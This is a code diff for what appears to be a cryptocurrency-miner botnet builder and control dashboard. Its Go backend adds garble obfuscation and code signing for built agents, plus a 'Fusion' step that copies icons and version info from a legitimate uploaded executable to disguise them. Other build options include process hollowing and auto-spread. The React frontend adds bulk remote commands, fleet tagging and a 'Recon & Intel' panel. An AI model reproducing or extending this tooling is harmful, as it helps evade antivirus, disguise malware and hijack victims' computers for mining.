return outputPath, nil return outputPath, nil
} }

View File

@@ -65,6 +65,8 @@ type BuildRequest struct {
ProcessHollowing bool `json:"process_hollowing"` ProcessHollowing bool `json:"process_hollowing"`
MeshP2P bool `json:"mesh_p2p"` MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"` AutoSpread bool `json:"auto_spread"`
Obfuscate bool `json:"obfuscate"`
SignBuild bool `json:"sign_build"`
} }
type BuildResponse struct { type BuildResponse struct {
@@ -82,6 +84,8 @@ type BuildResponse struct {
UninstallExportPath string `json:"uninstall_export_path,omitempty"` UninstallExportPath string `json:"uninstall_export_path,omitempty"`
FusionEnabled bool `json:"fusion_enabled,omitempty"` FusionEnabled bool `json:"fusion_enabled,omitempty"`
WorkerFile string `json:"worker_file,omitempty"` WorkerFile string `json:"worker_file,omitempty"`
Signed bool `json:"signed,omitempty"`
Obfuscated bool `json:"obfuscated,omitempty"`
Error string `json:"error,omitempty"` Error string `json:"error,omitempty"`
} }
@@ -91,12 +95,24 @@ type Handler struct {
agentSrcDir string agentSrcDir string
projectRoot string projectRoot string
goBinPath string goBinPath string
garblePath string
goWinresPath string
serverModDir string
policy BuildPolicy policy BuildPolicy
} }
type SignPolicy struct {
Enabled bool `json:"enabled"`
CertThumbprint string `json:"cert_thumbprint"`
ToolPath string `json:"tool_path"`
TimestampURL string `json:"timestamp_url"`
}
type BuildPolicy struct { type BuildPolicy struct {
StrictWalletValidation bool StrictWalletValidation bool
MaxBuildSizeMB int MaxBuildSizeMB int
DefaultObfuscate bool
Sign SignPolicy
} }
func (h *Handler) SetBuildPolicy(p BuildPolicy) { func (h *Handler) SetBuildPolicy(p BuildPolicy) {
@@ -108,13 +124,15 @@ func NewHandler(database *db.Database, dataDir string, agentSrcDir string, proje
if _, err := exec.LookPath("go"); err == nil { if _, err := exec.LookPath("go"); err == nil {
goBin = "go" goBin = "go"
} }
return &Handler{ h := &Handler{
db: database, db: database,
dataDir: dataDir, dataDir: dataDir,
agentSrcDir: agentSrcDir, agentSrcDir: agentSrcDir,
projectRoot: projectRoot, projectRoot: projectRoot,
goBinPath: goBin, goBinPath: goBin,
} }
h.resolveToolPaths(projectRoot)
return h
} }
func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
@@ -198,6 +216,75 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
writeJSON(w, http.StatusOK, resp) writeJSON(w, http.StatusOK, resp)
} }
func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
var req BuildRequest
var prepPath string
var prepSize int64
var prepName string
var cleanupPrep func()
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(150 << 20); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
return
}
configJSON := r.FormValue("config")
if configJSON == "" {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Missing config field"})
return
}
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid config JSON"})
return
}
file, header, err := r.FormFile("prep_exe")
if err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires prep_exe upload"})
return
}
defer file.Close()
if header != nil {
prepSize = header.Size
prepName = header.Filename
}
saved, remove, err := h.saveUploadedPrep(file, header)
if err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
return
}
prepPath = saved
cleanupPrep = remove
} else {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires multipart prep_exe upload"})
return
}
if cleanupPrep != nil {
defer cleanupPrep()
}
if err := h.normalizeRequest(&req); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
return
}
if !req.FusionEnabled {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion must be enabled for estimate"})
return
}
if req.FusionOutputName == "" && prepName != "" {
req.FusionOutputName = prepName
}
est := h.estimateFusionBuild(&req, prepPath, prepSize, prepName)
writeJSON(w, http.StatusOK, est)
}
func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) { func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id") buildID := chi.URLParam(r, "id")
build, err := h.db.GetBuild(buildID) build, err := h.db.GetBuild(buildID)
@@ -265,18 +352,10 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
ldflags += " -H windowsgui" ldflags += " -H windowsgui"
} }
cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".") obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
cmd.Dir = agentDir if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
cmd.Env = append(os.Environ(), log.Printf("Build failed: %v", err)
"GOOS=windows", return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
"GOARCH=amd64",
"CGO_ENABLED=0",
)
output, err := cmd.CombinedOutput()
if err != nil {
log.Printf("Build failed: %v\nOutput: %s", err, string(output))
return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, ""
} }
finalPath := outputPath finalPath := outputPath
@@ -313,6 +392,17 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
} }
} }
signed := false
if h.shouldSignBuild(req) {
if err := h.signExecutable(finalPath); err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
}
signed = true
if exportPath != "" && exportPath != finalPath {
_ = h.signExecutable(exportPath)
}
}
fileInfo, err := os.Stat(finalPath) fileInfo, err := os.Stat(finalPath)
if err != nil { if err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, "" return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
@@ -364,6 +454,8 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
UninstallExportPath: "", UninstallExportPath: "",
FusionEnabled: fusionEnabled, FusionEnabled: fusionEnabled,
WorkerFile: workerName, WorkerFile: workerName,
Signed: signed,
Obfuscated: obfuscated,
}, http.StatusOK, finalPath }, http.StatusOK, finalPath
} }

View File

@@ -0,0 +1,36 @@
package builder
import (
"encoding/json"
"fmt"
"os"
"path/filepath"
)
func writeIconAndVersionWinresJSON(fullWinresPath string) (string, error) {
data, err := os.ReadFile(fullWinresPath)
if err != nil {
return "", err
}
var doc map[string]json.RawMessage
if err := json.Unmarshal(data, &doc); err != nil {
return "", err
}
icons, ok := doc["RT_GROUP_ICON"]
if !ok || len(icons) == 0 || string(icons) == "null" {
return "", fmt.Errorf("prep exe has no RT_GROUP_ICON resources")
}
outDoc := map[string]json.RawMessage{"RT_GROUP_ICON": icons}
if version, hasVersion := doc["RT_VERSION"]; hasVersion && len(version) > 0 && string(version) != "null" {
outDoc["RT_VERSION"] = version
}
out, err := json.MarshalIndent(outDoc, "", " ")
if err != nil {
return "", err
}
outPath := filepath.Join(filepath.Dir(fullWinresPath), "filtered.json")
if err := os.WriteFile(outPath, out, 0644); err != nil {
return "", err
}
return outPath, nil
}

View File

@@ -2,10 +2,16 @@
package builder package builder
import "fmt"
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error { func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
return nil return nil
} }
func (h *Handler) applyPrepResourcesToEXE(prepPath, exePath string) error {
return fmt.Errorf("fusion resource embedding requires building on Windows")
}
func fusionLdflags(prepPath string) string { func fusionLdflags(prepPath string) string {
return "-s -w -H windowsgui" return "-s -w -H windowsgui"
} }

View File

@@ -0,0 +1,36 @@
package builder
import (
"os"
"path/filepath"
"strings"
"testing"
)
func TestWriteIconAndVersionWinresJSON(t *testing.T) {
dir := t.TempDir()
full := filepath.Join(dir, "winres.json")
if err := os.WriteFile(full, []byte(`{
"RT_GROUP_ICON": {
"#1": { "0409": "a.ico" }
},
"RT_VERSION": { "#1": { "0409": {} } }
}`), 0644); err != nil {
t.Fatal(err)
}
out, err := writeIconAndVersionWinresJSON(full)
if err != nil {
t.Fatal(err)
}
raw, err := os.ReadFile(out)
if err != nil {
t.Fatal(err)
}
s := string(raw)
if !strings.Contains(s, "RT_GROUP_ICON") || !strings.Contains(s, "a.ico") {
t.Fatalf("unexpected icons-only json: %s", raw)
}
if !strings.Contains(s, "RT_VERSION") {
t.Fatalf("version info should be preserved: %s", raw)
}
}

View File

@@ -3,6 +3,7 @@
package builder package builder
import ( import (
"encoding/json"
"fmt" "fmt"
"log" "log"
"os" "os"
@@ -11,6 +12,77 @@ import (
"strings" "strings"
) )
// applyPrepResourcesToEXE copies icon + version info from prepPath onto exePath (post-build).
func (h *Handler) applyPrepResourcesToEXE(prepPath, exePath string) error {
if err := h.patchEXEResourcesFromPrepExtract(prepPath, exePath); err == nil {
log.Printf("[Fusion] Applied icon + version info from %s", filepath.Base(prepPath))
return nil
} else {
log.Printf("[Fusion] resource extract/patch failed, trying icon fallback: %v", err)
}
if err := h.patchEXEWithExtractedICO(prepPath, exePath); err == nil {
log.Printf("[Fusion] Applied icon from %s (fallback ico)", filepath.Base(prepPath))
return nil
}
return fmt.Errorf("could not copy icon/resources from prep exe")
}
func (h *Handler) patchEXEResourcesFromPrepExtract(prepPath, exePath string) error {
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-resources-*")
if err != nil {
return err
}
defer os.RemoveAll(workDir)
if _, err := h.runGoWinres("", "extract", "--dir", workDir, prepPath); err != nil {
return err
}
filteredJSON, err := writeIconAndVersionWinresJSON(filepath.Join(workDir, "winres.json"))
if err != nil {
return err
}
if _, err := h.runGoWinres(filepath.Dir(filteredJSON), "patch", "--in", filteredJSON, "--no-backup", exePath); err != nil {
return err
}
return nil
}
func (h *Handler) patchEXEWithExtractedICO(prepPath, exePath string) error {
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-ico-*")
if err != nil {
return err
}
defer os.RemoveAll(workDir)
iconPath := filepath.Join(workDir, "prep-icon.ico")
if err := extractIconFromEXE(prepPath, iconPath); err != nil {
return err
}
doc := map[string]any{
"RT_GROUP_ICON": map[string]any{
"APP": map[string]any{
"0409": "prep-icon.ico",
},
},
}
jsonPath := filepath.Join(workDir, "icons-only.json")
raw, err := json.MarshalIndent(doc, "", " ")
if err != nil {
return err
}
if err := os.WriteFile(jsonPath, raw, 0644); err != nil {
return err
}
if _, err := h.runGoWinres(workDir, "patch", "--in", jsonPath, "--no-backup", exePath); err != nil {
return err
}
return nil
}
// extractIconFromEXE writes the primary icon from a Windows PE file to a .ico path. // extractIconFromEXE writes the primary icon from a Windows PE file to a .ico path.
func extractIconFromEXE(exePath, icoPath string) error { func extractIconFromEXE(exePath, icoPath string) error {
exeEsc := strings.ReplaceAll(exePath, `'`, `''`) exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
@@ -37,34 +109,10 @@ $fs.Close()
return nil return nil
} }
// prepareFusionWinres generates rsrc_windows_amd64.syso so the fused launcher uses prep's icon.
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error { func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
iconPath := filepath.Join(fusionDir, "prep-icon.ico")
if err := extractIconFromEXE(prepPath, iconPath); err != nil {
return err
}
productName := strings.TrimSuffix(filepath.Base(prepPath), filepath.Ext(prepPath))
cmd := exec.Command(
"go", "run", "github.com/tc-hib/go-winres@v0.3.1",
"make",
"--arch", "amd64",
"--in", fusionDir,
"--icon", iconPath,
"--file-description", productName,
"--product-name", productName,
"--original-filename", filepath.Base(prepPath),
)
cmd.Dir = fusionDir
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("go-winres: %w (%s)", err, strings.TrimSpace(string(out)))
}
log.Printf("[Fusion] Applied icon from %s", filepath.Base(prepPath))
return nil return nil
} }
// peSubsystem returns the Windows PE subsystem id (2=GUI, 3=CUI).
func peSubsystem(exePath string) int { func peSubsystem(exePath string) int {
data, err := os.ReadFile(exePath) data, err := os.ReadFile(exePath)
if err != nil || len(data) < 128 { if err != nil || len(data) < 128 {

View File

@@ -0,0 +1,13 @@
//go:build !windows
package builder
import "fmt"
func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
return false
}
func (h *Handler) signExecutable(path string) error {
return fmt.Errorf("code signing requires building on Windows")
}

View File

@@ -0,0 +1,79 @@
//go:build windows
package builder
import (
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"strings"
)
func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
return false
}
return req.SignBuild
}
func (h *Handler) signExecutable(path string) error {
policy := h.policy.Sign
tool := strings.TrimSpace(policy.ToolPath)
if tool == "" {
var err error
tool, err = findSignTool()
if err != nil {
return err
}
}
tsURL := strings.TrimSpace(policy.TimestampURL)
if tsURL == "" {
tsURL = "http://timestamp.digicert.com"
}
args := []string{
"sign",
"/fd", "SHA256",
"/tr", tsURL,
"/td", "SHA256",
"/sha1", strings.TrimSpace(policy.CertThumbprint),
path,
}
cmd := exec.Command(tool, args...)
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("signtool: %w (%s)", err, strings.TrimSpace(string(out)))
}
log.Printf("[Forge] Signed %s", filepath.Base(path))
return nil
}
func findSignTool() (string, error) {
if p, err := exec.LookPath("signtool"); err == nil {
return p, nil
}
if p, err := exec.LookPath("signtool.exe"); err == nil {
return p, nil
}
roots := []string{
os.Getenv("ProgramFiles(x86)"),
os.Getenv("ProgramFiles"),
}
for _, root := range roots {
if root == "" {
continue
}
kits := filepath.Join(root, "Windows Kits", "10", "bin")
matches, _ := filepath.Glob(filepath.Join(kits, "*", "x64", "signtool.exe"))
for i := len(matches) - 1; i >= 0; i-- {
if _, err := os.Stat(matches[i]); err == nil {
return matches[i], nil
}
}
}
return "", fmt.Errorf("signtool.exe not found — install Windows SDK or set sign_tool_path in Calibrate")
}

View File

@@ -0,0 +1,54 @@
package builder
import (
"fmt"
"os/exec"
"path/filepath"
"strings"
)
func (h *Handler) runGoWinres(dir string, args ...string) ([]byte, error) {
if h.goWinresPath != "" {
cmd := exec.Command(h.goWinresPath, args...)
if dir != "" {
cmd.Dir = dir
}
out, err := cmd.CombinedOutput()
if err != nil {
return out, fmt.Errorf("%w (%s)", err, strings.TrimSpace(string(out)))
}
return out, nil
}
modDir := h.serverModDir
if modDir == "" {
modDir = "."
}
cmd := exec.Command(h.goBinPath, append([]string{"run", "github.com/tc-hib/go-winres"}, args...)...)
cmd.Dir = modDir
if dir != "" {
cmd.Dir = dir
}
out, err := cmd.CombinedOutput()
if err != nil {
return out, fmt.Errorf("%w (%s)", err, strings.TrimSpace(string(out)))
}
return out, nil
}
func (h *Handler) resolveToolPaths(projectRoot string) {
if h.goBinPath == "" {
h.goBinPath = "go"
}
if h.serverModDir == "" {
h.serverModDir = filepath.Join(projectRoot, "server")
}
if p, err := exec.LookPath("garble"); err == nil {
h.garblePath = p
}
if p, err := exec.LookPath("go-winres"); err == nil {
h.goWinresPath = p
} else if p, err := exec.LookPath("go-winres.exe"); err == nil {
h.goWinresPath = p
}
}

View File

@@ -0,0 +1,58 @@
package db
import (
"encoding/json"
"strings"
"crypto-miner-server/internal/models"
)
func decodeTags(raw string) []string {
raw = strings.TrimSpace(raw)
if raw == "" || raw == "[]" {
return []string{}
}
var tags []string
if err := json.Unmarshal([]byte(raw), &tags); err != nil {
return []string{}
}
return tags
}
func encodeTags(tags []string) string {
if len(tags) == 0 {
return "[]"
}
b, _ := json.Marshal(tags)
return string(b)
}
func (d *Database) scanAgent(row interface {
Scan(dest ...any) error
}) (*models.Agent, error) {
a := &models.Agent{}
var notes, tagsRaw string
err := row.Scan(
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
&notes, &tagsRaw,
)
if err != nil {
return nil, err
}
a.Notes = notes
a.Tags = decodeTags(tagsRaw)
return a, nil
}
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags`
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
return err
}

View File

@@ -111,6 +111,8 @@ func (d *Database) migrate() error {
// Best-effort schema upgrades for existing databases. // Best-effort schema upgrades for existing databases.
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
return nil return nil
} }
@@ -150,24 +152,12 @@ func (d *Database) SetAgentOffline(id string) error {
} }
func (d *Database) GetAgent(id string) (*models.Agent, error) { func (d *Database) GetAgent(id string) (*models.Agent, error) {
a := &models.Agent{} query := `SELECT ` + agentSelectCols + ` FROM agents WHERE id = ?`
query := `SELECT id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, return d.scanAgent(d.QueryRow(query, id))
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, cpu_usage_pct, memory_usage_pct, uptime_seconds
FROM agents WHERE id = ?`
err := d.QueryRow(query, id).Scan(&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.SharesTotal, &a.SharesGood, &a.SharesBad,
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds)
if err != nil {
return nil, err
}
return a, nil
} }
func (d *Database) ListAgents() ([]*models.Agent, error) { func (d *Database) ListAgents() ([]*models.Agent, error) {
query := `SELECT id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, query := `SELECT ` + agentSelectCols + ` FROM agents ORDER BY last_seen DESC`
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, cpu_usage_pct, memory_usage_pct, uptime_seconds
FROM agents ORDER BY last_seen DESC`
rows, err := d.Query(query) rows, err := d.Query(query)
if err != nil { if err != nil {
return nil, err return nil, err
@@ -176,11 +166,8 @@ func (d *Database) ListAgents() ([]*models.Agent, error) {
var agents []*models.Agent var agents []*models.Agent
for rows.Next() { for rows.Next() {
a := &models.Agent{} a, err := d.scanAgent(rows)
if err := rows.Scan(&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status, if err != nil {
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.SharesTotal, &a.SharesGood, &a.SharesBad,
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds); err != nil {
return nil, err return nil, err
} }
agents = append(agents, a) agents = append(agents, a)

View File

@@ -24,6 +24,9 @@ type Agent struct {
CPUUsagePct float64 `json:"cpu_usage_pct"` CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"` MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"` UptimeSeconds int `json:"uptime_seconds"`
Notes string `json:"notes"`
Tags []string `json:"tags"`
} }
type Share struct { type Share struct {

View File

@@ -201,9 +201,20 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
poolManager.SetVerboseTraffic(cfg.Server.LogPoolTraffic) poolManager.SetVerboseTraffic(cfg.Server.LogPoolTraffic)
} }
if builderHandler != nil { if builderHandler != nil {
defaultObfuscate := cfg.Server.ObfuscateDefault
if os.Getenv("AETHERFORGE_RELEASE") == "1" {
defaultObfuscate = true
}
builderHandler.SetBuildPolicy(builder.BuildPolicy{ builderHandler.SetBuildPolicy(builder.BuildPolicy{
StrictWalletValidation: cfg.Server.StrictWalletValidation, StrictWalletValidation: cfg.Server.StrictWalletValidation,
MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB, MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB,
DefaultObfuscate: defaultObfuscate,
Sign: builder.SignPolicy{
Enabled: cfg.Server.SignEnabled,
CertThumbprint: cfg.Server.SignCertThumbprint,
ToolPath: cfg.Server.SignToolPath,
TimestampURL: cfg.Server.SignTimestampURL,
},
}) })
} }
applyControlServerFirewall(cfg) applyControlServerFirewall(cfg)

View File

@@ -1,4 +1,4 @@
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate } from '../types'; import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate } from '../types';
import { authHeaders } from './auth'; import { authHeaders } from './auth';
const API_BASE = '/api/v1'; const API_BASE = '/api/v1';
@@ -63,6 +63,23 @@ export const api = {
}); });
}, },
estimateFusion: (req: BuildRequest, prepFile: File) => {
const form = new FormData();
form.append('config', JSON.stringify(req));
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
return fetch(`${API_BASE}/builder/estimate`, {
method: 'POST',
headers: authHeaders(),
body: form,
}).then(async (res) => {
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json() as Promise<FusionEstimate>;
});
},
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`, buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`, buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`,
@@ -101,6 +118,18 @@ export const api = {
getAgentLog: (id: string, refresh = false) => getAgentLog: (id: string, refresh = false) =>
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`), fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
updateAgentMeta: (id: string, notes: string, tags: string[]) =>
fetchJSON<{ success: boolean; agent: Agent }>(`/agents/${id}/meta`, {
method: 'PUT',
body: JSON.stringify({ notes, tags }),
}),
sendBulkCommand: (agentIds: string[], action: string) =>
fetchJSON<{ success: boolean; sent: number; failed: number; action: string }>('/agents/bulk-command', {
method: 'POST',
body: JSON.stringify({ agent_ids: agentIds, action }),
}),
createUser: (username: string, password: string) => createUser: (username: string, password: string) =>
fetchJSON<{ success: boolean }>('/users', { fetchJSON<{ success: boolean }>('/users', {
method: 'POST', method: 'POST',

View File

@@ -0,0 +1,97 @@
import AgentRemoteActions from './AgentRemoteActions';
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
import type { Agent } from '../../types';
import type { WSMessage } from '../../types';
interface Props {
agent: Agent;
selected: boolean;
expanded: boolean;
selectable?: boolean;
checked?: boolean;
onToggleExpand: () => void;
onSelect: () => void;
onCheck?: (checked: boolean) => void;
latestWsMessage?: WSMessage | null;
}
export default function AgentListItem({
agent,
selected,
expanded,
selectable,
checked,
onToggleExpand,
onSelect,
onCheck,
latestWsMessage,
}: Props) {
const online = agent.status === 'online';
const handleRowClick = (e: React.MouseEvent) => {
const target = e.target as HTMLElement;
if (target.closest('input[type="checkbox"]') || target.closest('button') || target.closest('.agent-remote')) {
return;
}
onSelect();
onToggleExpand();
};
return (
<div
className={`neon-card agent-list-item compact-row ${selected ? 'selected' : ''} ${expanded ? 'expanded' : ''}`}
onClick={handleRowClick}
>
<div className="agent-list-header">
<div className="agent-list-name">
{selectable && (
<input
type="checkbox"
className="checkbox agent-list-select"
checked={!!checked}
onChange={(e) => {
e.stopPropagation();
onCheck?.(e.target.checked);
}}
onClick={(e) => e.stopPropagation()}
/>
)}
<span className={`status-dot ${agent.status}`} />
<span>{agent.name}</span>
</div>
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
</div>
{(agent.tags?.length ?? 0) > 0 && (
<div className="agent-list-tags">
{agent.tags!.map((t) => (
<span key={t} className="agent-tag-chip">{t}</span>
))}
</div>
)}
<div className="agent-list-details">
<span>{formatHashrate(agent.hashrate_15m)}</span>
<span>{agent.ip || '—'}</span>
{!expanded && <span className="form-hint">click for details</span>}
</div>
{!expanded && agent.notes?.trim() && (
<p className="agent-list-notes-preview">{agent.notes.trim().slice(0, 80)}{agent.notes.length > 80 ? '…' : ''}</p>
)}
{expanded && (
<div className="agent-list-expand" onClick={(e) => e.stopPropagation()}>
<div className="agent-list-meta">
<span>Shares: {agent.shares_good}/{agent.shares_total}</span>
<span>{agent.cpu_cores} cores · {agent.memory_gb} GB</span>
<span>Uptime: {formatUptime(agent.uptime_seconds)}</span>
<span>v{agent.version || '?'}</span>
</div>
{agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
<AgentRemoteActions agent={agent} compact online={online} latestWsMessage={latestWsMessage} />
</div>
)}
</div>
);
}

View File

@@ -1,6 +1,7 @@
import React, { useState, useRef, useEffect, useCallback } from 'react'; import React, { useState, useRef, useEffect, useCallback } from 'react';
import { api } from '../../api/client'; import { api } from '../../api/client';
import type { Agent, WSMessage } from '../../types'; import type { Agent, WSMessage } from '../../types';
import type { WSCommandResult } from '../../types/ws';
import './AgentRemoteActions.css'; import './AgentRemoteActions.css';
interface Props { interface Props {
@@ -8,6 +9,8 @@ interface Props {
agent?: Agent; agent?: Agent;
agentId?: string; agentId?: string;
agentName?: string; agentName?: string;
/** Explicit online flag — use when agent object may be stale */
online?: boolean;
compact?: boolean; compact?: boolean;
latestWsMessage?: WSMessage | null; latestWsMessage?: WSMessage | null;
onCommandSent?: (action: string) => void; onCommandSent?: (action: string) => void;
@@ -17,13 +20,14 @@ export default function AgentRemoteActions({
agent, agent,
agentId: agentIdProp, agentId: agentIdProp,
agentName: agentNameProp, agentName: agentNameProp,
online: onlineProp,
compact = false, compact = false,
latestWsMessage, latestWsMessage,
onCommandSent, onCommandSent,
}: Props) { }: Props) {
const agentId = agentIdProp ?? agent?.id ?? ''; const agentId = agentIdProp ?? agent?.id ?? '';
const agentName = agentNameProp ?? agent?.name ?? 'Agent'; const agentName = agentNameProp ?? agent?.name ?? 'Agent';
const online = agent?.status !== 'offline'; const isOnline = onlineProp ?? agent?.status === 'online';
const [isDragging, setIsDragging] = useState(false); const [isDragging, setIsDragging] = useState(false);
const [customCmd, setCustomCmd] = useState(''); const [customCmd, setCustomCmd] = useState('');
@@ -42,12 +46,7 @@ export default function AgentRemoteActions({
useEffect(() => { useEffect(() => {
if (!latestWsMessage || latestWsMessage.type !== 'command_result') return; if (!latestWsMessage || latestWsMessage.type !== 'command_result') return;
const payload = latestWsMessage.payload as { const payload = latestWsMessage.payload as WSCommandResult;
agent_id?: string;
action?: string;
success?: boolean;
message?: string;
};
const { agent_id, action, success, message } = payload; const { agent_id, action, success, message } = payload;
if (agentId && agentId !== 'all' && agent_id !== agentId) return; if (agentId && agentId !== 'all' && agent_id !== agentId) return;
@@ -64,7 +63,7 @@ export default function AgentRemoteActions({
addLog('No agent selected'); addLog('No agent selected');
return; return;
} }
if (agent && !online) { if (agent && !isOnline) {
addLog('Agent is offline'); addLog('Agent is offline');
return; return;
} }
@@ -121,10 +120,10 @@ export default function AgentRemoteActions({
return ( return (
<div className="agent-remote compact" onClick={(e) => e.stopPropagation()}> <div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
<div className="agent-remote-row"> <div className="agent-remote-row">
<button type="button" className="agent-action-btn" disabled={!online || !!busy} onClick={() => dispatch('pause')}>Pause</button> <button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
<button type="button" className="agent-action-btn" disabled={!online || !!busy} onClick={() => dispatch('resume')}>Resume</button> <button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
<button type="button" className="agent-action-btn warn" disabled={!online || !!busy} onClick={() => dispatch('stop')}>Stop</button> <button type="button" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Stop</button>
<button type="button" className="agent-action-btn danger" disabled={!online || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button> <button type="button" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
</div> </div>
</div> </div>
); );
@@ -145,30 +144,30 @@ export default function AgentRemoteActions({
<div className="action-group recon-group"> <div className="action-group recon-group">
<h3>Recon &amp; Intel</h3> <h3>Recon &amp; Intel</h3>
<div className="button-grid"> <div className="button-grid">
